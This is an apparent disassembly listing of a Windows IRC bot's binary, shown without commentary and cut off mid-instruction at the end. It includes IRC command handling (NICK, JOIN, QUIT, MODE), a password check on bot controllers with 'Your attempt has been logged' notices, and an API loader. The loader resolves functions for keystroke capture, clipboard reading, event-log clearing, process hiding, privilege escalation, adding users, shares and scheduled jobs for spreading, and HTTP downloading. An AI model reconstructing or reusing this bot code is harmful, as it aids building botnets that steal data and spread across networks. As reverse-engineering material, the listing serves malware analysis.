sub_40B4E8 pop ecx pop ecx test eax, eax push esi jz short loc_40949E push offset unk_429D64 jmp short loc_4094A3 ; --------------------------------------------------------------------------- loc_40949E: ; CODE XREF: sub_401AC7+79CEj push offset unk_429D38 loc_4094A3: ; CODE XREF: sub_401AC7+79D5j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4094D3 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_4094D3: ; CODE XREF: sub_401AC7+79EEj lea eax, [ebp+var_2C4] push eax call sub_415CEE add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_409477 jmp loc_401F6C ; --------------------------------------------------------------------------- loc_4094EF: ; CODE XREF: sub_401AC7+3D89j ; sub_401AC7+3DA0j cmp [ebp+var_C], ebx jz loc_409643 push edi push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409643 push esi push offset dword_42A2EC push [ebp+arg_4] call sub_40981C push esi push offset unk_429D20 jmp loc_408A7D ; --------------------------------------------------------------------------- loc_409526: ; CODE XREF: sub_401AC7+3D5Bj ; sub_401AC7+3D72j push edi push offset dword_42A250 push [ebp+arg_4] call sub_40981C push edi push offset unk_429D00 jmp loc_408A7D ; --------------------------------------------------------------------------- loc_40953F: ; CODE XREF: sub_401AC7+3D2Dj ; sub_401AC7+3D44j push [ebp+esi+var_88] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40981C push edi push offset unk_429CE0 jmp loc_408954 ; --------------------------------------------------------------------------- loc_40955F: ; CODE XREF: sub_401AC7+3CFFj ; sub_401AC7+3D16j push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40981C push edi push offset unk_429CBC jmp loc_408A7D ; --------------------------------------------------------------------------- loc_409578: ; CODE XREF: sub_401AC7+3152j ; sub_401AC7+3169j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40981C push edi lea eax, [ebp+var_2C4] push offset unk_429C9C push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_415CEE push edi call sub_41BEF9 add esp, 1Ch loc_4095AC: ; CODE XREF: sub_401AC7+7B2Dj push eax nop call near ptr 268051Bh loc_4095B3: ; CODE XREF: sub_401AC7+2A6Fj xor eax, eax jmp loc_401F6F ; --------------------------------------------------------------------------- loc_4095BA: ; CODE XREF: sub_401AC7+3124j ; sub_401AC7+313Bj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40981C push edi lea eax, [ebp+var_2C4] push offset unk_429C74 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_415CEE push edi call sub_41BEF9 add esp, 1Ch imul eax, 3E8h jmp short loc_4095AC ; --------------------------------------------------------------------------- loc_4095F6: ; CODE XREF: sub_401AC7+EA0j ; sub_401AC7+EB5j push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_429098 push eax call sub_40AE77 lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40981C lea eax, [ebp+var_338] push eax push offset unk_429C50 call sub_415D62 loc_409640: ; CODE XREF: sub_401AC7+5206j add esp, 24h loc_409643: ; CODE XREF: sub_401AC7+63Aj ; sub_401AC7+646j ... mov eax, [ebp+arg_24] jmp loc_401F6F ; --------------------------------------------------------------------------- loc_40964B: ; CODE XREF: sub_401AC7+A8Dj ; sub_401AC7+AA0j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_20], esi jz loc_401F6C cmp [ebp+var_A4], ebx jnz loc_401F6C push offset asc_42CDC8 ; "!" push [ebp+var_90] call sub_41C864 mov esi, eax push offset word_4C91BC push ebx inc esi call sub_41C864 push offset asc_429C4C ; "~" push eax call sub_41C864 push [ebp+arg_20] mov edi, eax push offset aCool ; "cool" call sub_41C7E0 add esp, 20h test eax, eax jz short loc_4096E1 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_40981C lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_40981C push edi push esi push offset unk_429BCC jmp short loc_40973D ; --------------------------------------------------------------------------- loc_4096E1: ; CODE XREF: sub_401AC7+7BDFj mov [ebp+arg_24], offset off_429160 loc_4096E8: ; CODE XREF: sub_401AC7+7C3Dj mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B706 pop ecx test eax, eax pop ecx jnz short loc_409751 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jl short loc_4096E8 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_40981C lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_40981C push edi push esi push offset unk_429B78 loc_40973D: ; CODE XREF: sub_401AC7+7C18j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 30h jmp loc_40830C ; --------------------------------------------------------------------------- loc_409751: ; CODE XREF: sub_401AC7+7C30j mov edi, [ebp+arg_18] xor esi, esi loc_409756: ; CODE XREF: sub_401AC7+7CB9j cmp [ebp+arg_20], ebx jz loc_401F6C cmp [edi], bl jnz short loc_409776 push [ebp+arg_20] push offset aCool ; "cool" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_409787 loc_409776: ; CODE XREF: sub_401AC7+7C9Aj inc esi add edi, 80h cmp esi, 3 jl short loc_409756 jmp loc_401F6C ; --------------------------------------------------------------------------- loc_409787: ; CODE XREF: sub_401AC7+7CADj shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E04] push 7Fh push eax push esi call sub_41BD70 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4097BE push ebx push [ebp+var_4] push offset unk_429B58 push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_4097BE: ; CODE XREF: sub_401AC7+7CDBj lea eax, [ebp+var_C4] push eax push offset unk_429B38 loc_4097CA: ; CODE XREF: sub_401AC7+592j ; sub_401AC7+286Fj ... call sub_415D62 loc_4097CF: ; CODE XREF: sub_401AC7+1B74j pop ecx loc_4097D0: ; CODE XREF: sub_401AC7+24E7j pop ecx jmp loc_401F6C ; --------------------------------------------------------------------------- loc_4097D6: ; CODE XREF: sub_401AC7+20Ej ; sub_401AC7+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40981C push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40981C push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40981C add esp, 2Ch mov dword_4C91B4, edi jmp loc_401D64 sub_401AC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40981C proc near ; CODE XREF: sub_40194F+3Dp ; sub_401AC7+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C900 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4C9354 leave retn sub_40981C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409862 proc near ; CODE XREF: sub_401AC7+503p ; sub_401AC7+1341p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40987D mov edi, offset aPrivmsg ; "PRIVMSG" loc_40987D: ; CODE XREF: sub_409862+14j push edi call sub_41B960 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41B960 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_1 ; "%s" push esi push eax call sub_41C100 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41C006 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4C9354 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_4098FB push 7D0h nop call near ptr 268051Bh locret_4098FB: ; CODE XREF: sub_409862+8Cj leave retn sub_409862 endp ; =============== S U B R O U T I N E ======================================= sub_4098FD proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_4270AC push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270CC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409A1D push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4C93B0, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4C9324, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4C9308, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4C9218, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4C91C4, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4C91F4, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4C926C, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4C9364, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4C93C0, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4C9224, eax call esi cmp dword_4C93B0, ebx mov dword_4C920C, eax jz short loc_4099FB cmp dword_4C9324, ebx jz short loc_4099FB cmp dword_4C9308, ebx jz short loc_4099FB cmp dword_4C9218, ebx jz short loc_4099FB cmp dword_4C91F4, ebx jz short loc_4099FB cmp dword_4C926C, ebx jz short loc_4099FB cmp dword_4C9364, ebx jz short loc_4099FB cmp dword_4C93C0, ebx jz short loc_4099FB cmp dword_4C9224, ebx jz short loc_4099FB cmp eax, ebx jnz short loc_409A05 loc_4099FB: ; CODE XREF: sub_4098FD+B8j ; sub_4098FD+C0j ... mov dword_4C93C4, 1 loc_409A05: ; CODE XREF: sub_4098FD+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4C933C, eax jz short loc_409A32 push 1 push ebx call eax jmp short loc_409A32 ; --------------------------------------------------------------------------- loc_409A1D: ; CODE XREF: sub_4098FD+1Dj nop call near ptr 2680DCDh mov dword_4C93C8, eax mov dword_4C93C4, 1 loc_409A32: ; CODE XREF: sub_4098FD+117j ; sub_4098FD+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26B0C73h mov edi, eax cmp edi, ebx jz loc_409B47 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4C9360, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4C9310, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4C92A4, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4C93B4, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4C92D4, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4C92F4, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4C9358, eax call esi cmp dword_4C9360, ebx mov dword_4C9244, eax jz short loc_409AEB cmp dword_4C9310, ebx jz short loc_409AEB cmp dword_4C92A4, ebx jz short loc_409AEB cmp dword_4C93B4, ebx jz short loc_409AEB cmp dword_4C92D4, ebx jz short loc_409AEB cmp dword_4C92F4, ebx jz short loc_409AEB cmp dword_4C9358, ebx jz short loc_409AEB cmp eax, ebx jnz short loc_409AF5 loc_409AEB: ; CODE XREF: sub_4098FD+1B8j ; sub_4098FD+1C0j ... mov dword_4C93CC, 1 loc_409AF5: ; CODE XREF: sub_4098FD+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4C92D0, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4C91D8, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4C92A0, eax call esi cmp dword_4C92D0, ebx mov dword_4C9288, eax jz short loc_409B52 cmp dword_4C91D8, ebx jz short loc_409B52 cmp dword_4C92A0, ebx jz short loc_409B52 cmp eax, ebx jnz short loc_409B5C jmp short loc_409B52 ; --------------------------------------------------------------------------- loc_409B47: ; CODE XREF: sub_4098FD+144j nop call near ptr 2680DCDh mov dword_4C93D0, eax loc_409B52: ; CODE XREF: sub_4098FD+232j ; sub_4098FD+23Aj ... mov dword_4C93CC, 1 loc_409B5C: ; CODE XREF: sub_4098FD+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409D15 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4C9374, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4C92B8, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4C9328, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4C9204, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4C9268, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4C92E0, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4C9284, eax call esi cmp dword_4C9374, ebx mov dword_4C9294, eax jz short loc_409C05 cmp dword_4C92B8, ebx jz short loc_409C05 cmp dword_4C9328, ebx jz short loc_409C05 cmp dword_4C9204, ebx jz short loc_409C05 cmp dword_4C9268, ebx jz short loc_409C05 cmp dword_4C92E0, ebx jnz short loc_409C0F loc_409C05: ; CODE XREF: sub_4098FD+2DEj ; sub_4098FD+2E6j ... mov dword_4C93D4, 1 loc_409C0F: ; CODE XREF: sub_4098FD+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4C92E8, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4C92C0, eax call esi cmp dword_4C92E8, ebx mov dword_4C9370, eax jz short loc_409C4A cmp dword_4C92C0, ebx jz short loc_409C4A cmp eax, ebx jnz short loc_409C54 loc_409C4A: ; CODE XREF: sub_4098FD+33Fj ; sub_4098FD+347j mov dword_4C93D4, 1 loc_409C54: ; CODE XREF: sub_4098FD+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4C92F8, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4C91E0, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4C91E8, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4C924C, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4C9250, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4C91FC, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4C92C4, eax call esi cmp dword_4C92F8, ebx mov dword_4C91EC, eax jz short loc_409CF8 cmp dword_4C91E0, ebx jz short loc_409CF8 cmp dword_4C91E8, ebx jz short loc_409CF8 cmp dword_4C924C, ebx jz short loc_409CF8 cmp dword_4C9250, ebx jz short loc_409CF8 cmp dword_4C91FC, ebx jz short loc_409CF8 cmp dword_4C92C4, ebx jz short loc_409CF8 cmp eax, ebx jnz short loc_409D02 loc_409CF8: ; CODE XREF: sub_4098FD+3C5j ; sub_4098FD+3CDj ... mov dword_4C93D4, 1 loc_409D02: ; CODE XREF: sub_4098FD+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4C91E4, eax jnz short loc_409D2A jmp short loc_409D20 ; --------------------------------------------------------------------------- loc_409D15: ; CODE XREF: sub_4098FD+26Aj nop call near ptr 2680DCDh mov dword_4C93D8, eax loc_409D20: ; CODE XREF: sub_4098FD+416j mov dword_4C93D4, 1 loc_409D2A: ; CODE XREF: sub_4098FD+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409DF6 push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4C92F0, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4C9348, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4C9350, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4C930C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4C9228, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4C91D4, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4C934C, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4C91C0, eax call esi cmp dword_4C92F0, ebx mov dword_4C9260, eax jz short loc_409E01 cmp dword_4C9348, ebx jz short loc_409E01 cmp dword_4C9350, ebx jz short loc_409E01 cmp dword_4C930C, ebx jz short loc_409E01 cmp dword_4C9228, ebx jz short loc_409E01 cmp dword_4C91D4, ebx jz short loc_409E01 cmp dword_4C934C, ebx jz short loc_409E01 cmp dword_4C91C0, ebx jz short loc_409E01 cmp eax, ebx jnz short loc_409E0B jmp short loc_409E01 ; --------------------------------------------------------------------------- loc_409DF6: ; CODE XREF: sub_4098FD+438j nop call near ptr 2680DCDh mov dword_4C93E0, eax loc_409E01: ; CODE XREF: sub_4098FD+4B9j ; sub_4098FD+4C1j ... mov dword_4C93DC, 1 loc_409E0B: ; CODE XREF: sub_4098FD+4F5j mov ebp, dword_4270C8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0C7 push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4C9274, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4C93A8, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4C9214, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4C91F0, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4C92B0, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4C9298, eax call esi push offset aSocket ; "socket" push edi mov dword_4C925C, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4C9384, eax call esi push offset aConnect ; "connect" push edi mov dword_4C93A0, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4C92AC, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4C9390, eax call esi push offset aHtons ; "htons" push edi mov dword_4C9344, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4C9304, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4C9300, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4C9234, eax call esi push offset aSend ; "send" push edi mov dword_4C922C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4C9354, eax call esi push offset aRecv ; "recv" push edi mov dword_4C9368, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4C931C, eax call esi mov dword_4C92DC, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4C9330, eax call esi push offset aListen ; "listen" push edi mov dword_4C92EC, eax call esi push offset aAccept ; "accept" push edi mov dword_4C932C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4C9398, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4C92E4, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4C92A8, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4C9318, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4C9388, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4C92BC, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4C9258, eax call esi cmp dword_4C9274, ebx mov dword_4C939C, eax jz loc_40A0D2 cmp dword_4C93A8, ebx jz loc_40A0D2 cmp dword_4C9214, ebx jz loc_40A0D2 cmp dword_4C92B0, ebx jz loc_40A0D2 cmp dword_4C9298, ebx jz loc_40A0D2 cmp dword_4C925C, ebx jz loc_40A0D2 cmp dword_4C9384, ebx jz loc_40A0D2 cmp dword_4C93A0, ebx jz loc_40A0D2 cmp dword_4C92AC, ebx jz loc_40A0D2 cmp dword_4C9390, ebx jz loc_40A0D2 cmp dword_4C9344, ebx jz loc_40A0D2 cmp dword_4C9304, ebx jz loc_40A0D2 cmp dword_4C9300, ebx jz loc_40A0D2 cmp dword_4C9234, ebx jz short loc_40A0D2 cmp dword_4C9354, ebx jz short loc_40A0D2 cmp dword_4C9368, ebx jz short loc_40A0D2 cmp dword_4C931C, ebx jz short loc_40A0D2 cmp dword_4C92DC, ebx jz short loc_40A0D2 cmp dword_4C9330, ebx jz short loc_40A0D2 cmp dword_4C92EC, ebx jz short loc_40A0D2 cmp dword_4C932C, ebx jz short loc_40A0D2 cmp dword_4C9398, ebx jz short loc_40A0D2 cmp dword_4C92E4, ebx jz short loc_40A0D2 cmp dword_4C92A8, ebx jz short loc_40A0D2 cmp dword_4C9318, ebx jz short loc_40A0D2 cmp dword_4C9388, ebx jz short loc_40A0D2 cmp dword_4C92BC, ebx jz short loc_40A0D2 cmp eax, ebx jnz short loc_40A0DC jmp short loc_40A0D2 ; --------------------------------------------------------------------------- loc_40A0C7: ; CODE XREF: sub_4098FD+51Fj nop call near ptr 2680DCDh mov dword_4C93E8, eax loc_40A0D2: ; CODE XREF: sub_4098FD+6BEj ; sub_4098FD+6CAj ... mov dword_4C93E4, 1 loc_40A0DC: ; CODE XREF: sub_4098FD+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A1E1 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4C9240, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4C91C8, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4C92CC, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4C9278, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4C92D8, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4C929C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4C9208, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4C9200, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4C9210, eax call esi cmp dword_4C9240, ebx mov ecx, dword_4C929C mov dword_4C9338, eax jz short loc_40A1BD cmp dword_4C91C8, ebx jz short loc_40A1BD cmp dword_4C92CC, ebx jz short loc_40A1BD cmp dword_4C9278, ebx jz short loc_40A1BD cmp dword_4C92D8, ebx jz short loc_40A1BD cmp ecx, ebx jz short loc_40A1BD cmp dword_4C9208, ebx jz short loc_40A1BD cmp dword_4C9200, ebx jz short loc_40A1BD cmp dword_4C9210, ebx jz short loc_40A1BD cmp eax, ebx jnz short loc_40A1C7 loc_40A1BD: ; CODE XREF: sub_4098FD+87Ej ; sub_4098FD+886j ... mov dword_4C93EC, 1 loc_40A1C7: ; CODE XREF: sub_4098FD+8BEj cmp ecx, ebx jz short loc_40A1FC push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4C92B4, eax jnz short loc_40A1FC jmp short loc_40A1F6 ; --------------------------------------------------------------------------- loc_40A1E1: ; CODE XREF: sub_4098FD+7EAj nop call near ptr 2680DCDh mov dword_4C93F0, eax mov dword_4C93EC, 1 loc_40A1F6: ; CODE XREF: sub_4098FD+8E2j mov dword_4C92B4, ebx loc_40A1FC: ; CODE XREF: sub_4098FD+8CCj ; sub_4098FD+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A246 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4C928C, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4C93BC, eax call esi cmp dword_4C928C, ebx mov dword_4C921C, eax jz short loc_40A251 cmp dword_4C93BC, ebx jz short loc_40A251 cmp eax, ebx jnz short loc_40A25B jmp short loc_40A251 ; --------------------------------------------------------------------------- loc_40A246: ; CODE XREF: sub_4098FD+90Aj nop call near ptr 2680DCDh mov dword_4C93F8, eax loc_40A251: ; CODE XREF: sub_4098FD+939j ; sub_4098FD+941j ... mov dword_4C93F4, 1 loc_40A25B: ; CODE XREF: sub_4098FD+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A362 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4C91F8, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4C91D0, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4C9248, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4C927C, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4C9394, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4C9230, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4C91DC, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4C91CC, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4C9264, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4C935C, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4C9314, eax call esi cmp dword_4C91F8, ebx mov dword_4C9238, eax jz short loc_40A36D cmp dword_4C91D0, ebx jz short loc_40A36D cmp dword_4C9248, ebx jz short loc_40A36D cmp dword_4C927C, ebx jz short loc_40A36D cmp dword_4C9394, ebx jz short loc_40A36D cmp dword_4C9230, ebx jz short loc_40A36D cmp dword_4C91DC, ebx jz short loc_40A36D cmp dword_4C91CC, ebx jz short loc_40A36D cmp dword_4C9264, ebx jz short loc_40A36D cmp dword_4C935C, ebx jz short loc_40A36D cmp dword_4C9314, ebx jnz short loc_40A377 jmp short loc_40A36D ; --------------------------------------------------------------------------- loc_40A362: ; CODE XREF: sub_4098FD+969j call near ptr 2680DCDh nop mov dword_4C9400, eax loc_40A36D: ; CODE XREF: sub_4098FD+A11j ; sub_4098FD+A19j ... mov dword_4C93FC, 1 loc_40A377: ; CODE XREF: sub_4098FD+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3AC push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4C9220, eax call esi cmp dword_4C9220, ebx mov dword_4C92FC, eax jz short loc_40A3B7 cmp eax, ebx jnz short loc_40A3C1 jmp short loc_40A3B7 ; --------------------------------------------------------------------------- loc_40A3AC: ; CODE XREF: sub_4098FD+A85j nop call near ptr 2680DCDh mov dword_4C9408, eax loc_40A3B7: ; CODE XREF: sub_4098FD+AA7j ; sub_4098FD+AADj mov dword_4C9404, 1 loc_40A3C1: ; CODE XREF: sub_4098FD+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3F6 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4C9380, eax call esi cmp dword_4C9380, ebx mov dword_4C937C, eax jz short loc_40A401 cmp eax, ebx jnz short loc_40A40B jmp short loc_40A401 ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_4098FD+ACFj nop call near ptr 2680DCDh mov dword_4C9410, eax loc_40A401: ; CODE XREF: sub_4098FD+AF1j ; sub_4098FD+AF7j mov dword_4C940C, 1 loc_40A40B: ; CODE XREF: sub_4098FD+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A46A push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4C93AC, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4C93A4, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4C936C, eax call esi cmp dword_4C93AC, ebx mov dword_4C923C, eax jz short loc_40A475 cmp dword_4C93A4, ebx jz short loc_40A475 cmp dword_4C936C, ebx jz short 